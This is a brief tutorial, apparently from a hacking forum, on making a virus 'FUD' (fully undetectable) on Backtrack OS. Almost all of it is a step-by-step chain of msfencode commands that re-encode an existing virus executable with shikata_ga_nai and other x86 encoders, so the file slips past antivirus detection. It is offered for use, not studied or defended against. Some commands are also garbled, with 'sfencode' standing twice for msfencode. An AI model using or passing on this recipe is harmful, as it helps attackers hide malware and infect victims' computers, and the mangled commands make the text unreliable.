tools required :
1.) Backtrack OS
NOTE: FUD virus will work only in 32-bit OS as msf encoders are x86- bit
for 64-bit u can try x64-bit encoder !!
use following commands in backtrack:
So our first step is to change the permissions of that file (775) by typing this command,
> " chmod 775 virus.exe" press enter
(u have to put that directory in which ur virus.exe is present i have in root folder so it will be"/root/virus.exe")
> "msfencode -i /root/Virus.exe -t raw -o
/root/virus2.exe -e x86/shikata_ga_nai -c 10"
> "chmod 775 virus2.exe"
>"msfencode -i /root/virus2.exe -t raw -o
/root/virus3.exe -e x86/jmp_call_additive -c 1 "
> "chmod 775 virus3.exe "
> "sfencode -i /root/virus3.exe -t raw -o
/root/virus4.exe -e x86/call4_dword_xor -c 1"
>"chmod 775 virus4.exe"
>"sfencode -i /root/virus4.exe -t raw -o
/root/virus5.exe -e x86/shikata_ga_nai -c 1"
